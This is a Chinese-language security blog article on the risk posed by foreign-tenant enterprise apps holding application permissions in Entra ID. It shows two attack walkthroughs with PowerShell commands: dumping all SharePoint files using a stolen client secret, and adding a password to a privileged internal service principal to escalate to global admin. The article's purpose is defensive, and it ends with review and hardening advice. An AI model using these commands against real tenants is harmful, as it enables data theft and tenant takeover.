文章总结： 本文分析了AzureAD环境中第三方企业应用的高危权限风险，指出外部租户控制的应用凭据可能被攻击者利用导致数据泄露或租户接管。通过SharePoint文件窃取和权限提升两个实战案例，揭示了仅凭应用程序权限即可完成攻击的路径。文章建议使用EntraFalcon工具定期审查权限，采用最小权限原则审批新应用，并加强监控日志来防范风险。 综合评分： 87 文章分类： 云安全,应用安全,漏洞分析,安全建设,威胁情报

常见Entra ID安全评估发现（一）：第三方应用的高危权限：你租户里的“内鬼”有多可怕？

幻泉之洲

2026年4月19日 09:46 北京

在小说阅读器读本章

去阅读

在真实的Azure AD安全评估中，我们几乎在每个租户里都发现了一个常被忽略的风险点：来自其他租户的“外来”企业应用，它们往往被赋予了高权限的API访问能力。这篇文章将通过具体案例，拆解这种配置如何演变成数据泄露乃至整个租户被攻陷的起点。

被忽略的外来者

打开你的Azure AD企业应用清单，数一数有多少应用的“发行者租户”不属于你自己。

说实话，大多数团队默认允许了这些外来应用的存在。它们可能是某个SaaS服务为了让你单点登录而自动创建的，也可能是为了方便自动化流程而手动配置的“机器人”。问题在于，它们的生杀大权——凭据的控制权——完全掌握在外部租户手里。

如果那个外部租户的安全没做好，攻击者拿到了凭据，就等于拿到了在你租户里的“通用门票”。更糟的是，条件访问策略（Conditional Access）对这类应用签入完全不起作用，你没法限制它只能从特定IP登录。

想想看，一个你无法控制、访问不受限的“影子用户”，在租户里拥有读取邮件、管理用户甚至管理目录角色的权限。这听起来像不像主动敞开的后门？

企业应用与权限：基础概念速览

我们先快速理清几个关键概念，这能帮你理解危险到底在哪。

“企业应用”本质上就是你的Azure AD租户里，一个应用的身份代表。当某个第三方应用想让你的员工用公司账户登录时，就会在你的租户里自动创建一个对应的企业应用对象。而“外来”企业应用，是指这个对象的根——那个全局唯一的“应用注册”——位于别人的Azure AD租户里。

真正的风险藏在“应用程序API权限”里。

这类权限有两种：委托权限和应用程序权限。委托权限需要用户登录，应用在用户的上下文中操作；而应用程序权限就吓人了，它允许应用仅凭自己的凭据（比如一个密码或证书）就在后台自动化操作，就像是个“服务账户”。

我们现在讨论的，正是后一种。

权限可以划分得很细。比如访问SharePoint，就有“只读所有网站”“读写所有网站”“完全控制所有网站”等多种级别。区别在于，攻击者拿到凭证后想干的事情天花板有多高。

应用程序的凭据（证书或密码）是保存在发行者租户的应用注册上的。任何人只要能控制那个应用注册——无论是外部供应商的IT工程师，还是攻陷了他们系统的黑客——就能利用这份凭据，到所有集成了该应用的企业租户里“合法”登录。

黑客的实战演练：两个真实的攻击场景

理论有点枯燥，我们直接看黑客是怎么利用这类配置得手的。

案例一：一键搬空SharePoint

假设我们有一个外来应用，名字还挺友好，叫“SharePoint_Helper”。它有一个应用程序权限：Sites.Read.All（读取所有网站内容）。

这个权限本身看起来只是“读取”，似乎没多大破坏性。但如果攻击者攻陷了发行者租户，给这个应用的注册加个新密码，或者干脆偷到了现有的密码呢？

他接下来就能直接在你的租户里用这个应用的凭据登录。用一些现成的工具，比如EntraTokenAid拿到访问令牌，再用SharePointDumper这样的脚本，就可以自动化地、静悄悄地把所有SharePoint网站里的文件都拖下来。

PS> $tokens = Invoke-ClientCredential -ClientId “efa20d43-76f8-432d-b289-cb982596b89e” -ClientSecret “7CA8Q~m[CUT-BY-COMPASS]” -TenantId “9f412d6a-XXX-XXXX-XXXX-32e31a6af459” [*] Starting Client Credential flow: API graph.microsoft.com / Client id: d0650da0-7222-4ee8-b349-84642e309ef8 [+] Got an access token [i] Audience: https://graph.microsoft.com / Expires at: 02/27/2026 14:51:13

PS> .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token    _____ __                    ____        _       __   / ___// /_  ____ _________  / __ \___  (_)___  / /_   \_ \/ __ \/ __ / \_\_\_/ \_ \/ /\_/ / \_\_ \/ / \_\_ \/ \_\_/  \_\_\_/ / / / / /\_/ / /  /  \_\_/ \_\_\_\_/ /\_/ / / / / / /\_ /\_\_\_\_/\_/ /\_/\\_\_,\_/\_/   \\_\_\_/\_/    \\_\_\_\_/\_/\_/ /\_/\\_\_/    / \_\_ \\_\_  \_\_\_\_\_\_ \_\_\_  \_\_\_\_  \_\_\_  \_\_\_\_\_   / / / / / / / \_\___ \/ __ \/ _ \/ ___/  / /_/ / /_/ / / / / / / /_/ /  __/ / /_____/\_,_/_/ /_/ /_/ .___/\__/_/                      /_/ Version: v20250124 Source: https://github.com/zh54321/SharePointDumper

[***] SharePoint Dump started at 2026-02-26 14:52:18Z [*] Using output folder: .\20260226_1452_UnknownTenant [*] Used public IP: 81.[CUT-BY-COMPASS] [*] Note: The enumeration is search-based; in very large tenants it may not list absolutely every site. [*] Found 30 sites (before include/exclude filtering). [CUT-BY-COMPASS]

========== SharePointDumper Report ========== Tenant         : UnknownTenant Time           : 25.02.2026 14:52:18 -> 25.02.2026 14:52:38 (30.12s) Files dumped   : 21 files (38.05 MB) Sites          : 30 / 30 sites enumerated HTTP Stats     : GraphApiRequests=74; SharePointRequests=21 Limits         : MaxFiles=0; MaxTotalSizeMB=0 Site filter    :  (all sites targeted) Ext filter     :  (all extensions allowed) Throttle       : Delay=0s; Jitter=0s UserAgent      : SharePointDumper Proxy          : Public IP      : 81.[CUT-BY-COMPASS] Report         : .\20260226_1452_UnknownTenant\SharePointDumper_Report_20260226_145255.txt

不到一分钟，21个文件、30个站点的敏感文档（里面甚至还有名为“password”的文件和密码库）就全躺在攻击者的硬盘里了。这就是一个简单的“只读”权限可能带来的实际后果。

案例二：权限升级与租户接管

第一个例子还只是数据泄露。第二个就更狠了，它展示了一个权限平平的外来应用，如何成为攻陷整个租户的跳板。

这次外来应用叫“MyService”，它只有一个权限：Application.ReadWrite.All。这个权限允许它管理其他应用（包括企业应用）。

这时候，攻击者攻陷了外部租户，拿到了这个应用的凭据。他用这个权限在你的租户里登录，开始干两件事：

1. 枚举你租户里的所有企业应用，找出那些拥有极高权限的——比如能管理用户和角色的应用。
2. 一旦找到目标（比如一个用于自动化部署的内部特权应用“Internal_IaC”），就利用Application.ReadWrite.All权限，直接给这个特权应用添加一个新的客户端密码。

// 攻击者给内部高权限应用添加新密码 Add-MgServicePrincipalPassword -ServicePrincipalId 25fdd87a-66b5-414c-a7bb-b5e8ea5901c8 -BodyParameter @{ passwordCredential = @{ displayName = “Attacker Password” } }

DisplayName       EndDateTime         Hint SecretText  StartDateTime ———–       ———–         —- ———-  ————- Attacker Password 26.02.2028 13:23:17 Bu6  Bu6[CUT-BY-COMPASS] 26.02.2026 13:23:17

这样一来，攻击者就完全控制了你租户里那个最高权限的内部应用。接下来，他用新添加的密码登录，想干什么就干什么：新建一个用户，直接给他分配全局管理员权限。

几分钟内，一个攻击者控制的全局管理员账号就已经在你的租户里生效了。整个攻击流程，起点不过是一个拥有“管理其他应用”权限的外来企业应用。

如何发现并清理这些“定时炸弹”？

看完攻击过程，你可能已经想去扫一遍自己的租户了。手动检查费时费力，用工具效率会高很多。

开源的评估工具EntraFalcon是专门干这个的。它能枚举所有企业应用，自动判断哪些是“外来户”，然后分析它们拥有的API权限。

关键来了，它会根据权限的危险程度来分类：

• 危险级

  ：基本上意味着能接管租户。

• 高风险级

  ：能访问敏感业务数据（邮件、SharePoint）或关键配置。

• 中风险级

  ：能访问用户日历、聊天记录等。

EntraFalcon找到那些拥有中风险及以上权限的外来应用后，就会生成一条具体的风险项。它还贴心地告诉你这个应用最近180天内是否活跃过，帮你判断这是个正在使用的服务，还是个早已被遗忘的“僵尸”。

报告会用列表详细列出所有有问题的应用及其权限，点击还能看详情，包括创建日期、最后登录时间等，帮你判断这个应用到底是该删，还是该去找供应商理论。

治理建议：亡羊补牢，犹未晚矣

发现了问题，接下来怎么办？

1. 定期审查，确定优先

   ：先从拥有危险、高、中等级权限的外来应用查起。看看它上次登录是什么时候，如果已经几年没动静了，果断删除。

2. 挑战权限的必要性

   ：对于确实要用的服务，主动联系供应商。问他们：“你们的应用必须要有Sites.Read.All权限吗？能不能换成针对具体网站的Sites.Selected？”很多公司给权限时图省事，默认选了权限范围最广的。

3. 锁死内部特权应用

   ：别忘了检查你内部的应用程序。确保那些拥有高权限的内部应用注册，都开启了“应用实例属性锁”。这个配置能防止其他应用（包括一些外来应用）给它随意添加凭据，是防御权限提升攻击的关键。

4. 建立新应用接入流程

   ：以后任何新应用要接入，必须过一道审批。核心问题只有一个：它真的需要申请这些权限吗？能不能用委托权限代替应用程序权限？用最小权限原则来卡控。

5. 加强监控，设置告警

   ：在条件访问策略无能为力的情况下，自定义监控尤为重要。关注这些应用的登录日志：有没有从未出现的国家发起的登录？登录时间是不是异常？这都是身份被劫持的信号。

说到底，外来第三方应用是现代云环境的常态，我们无法隔绝。但放任它们带着高权限在环境中游荡，就等于把部分控制权拱手让人。审查、限权、监控，是每个管理员必须补上的安全课。

参考资料

本文分析的一些技术细节和攻击模拟，基于微软官方文档和开源安全工具。更多详细背景可参考：

• OAuth 作用域：https://learn.microsoft.com/en-us/entra/identity-platform/scopes-oidc
• 应用程序专属访问方案：https://learn.microsoft.com/en-us/entra/identity-platform/app-only-access-primer
• 工作负载身份的条件访问：https://learn.microsoft.com/en-us/entra/identity/conditional-access/workload-identity
• 配置应用实例属性锁：https://learn.microsoft.com/en-us/entra/identity-platform/howto-configure-app-instance-property-locks

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：幻泉之洲 《常见Entra ID安全评估发现（一）：第三方应用的高危权限：你租户里的“内鬼”有多可怕？》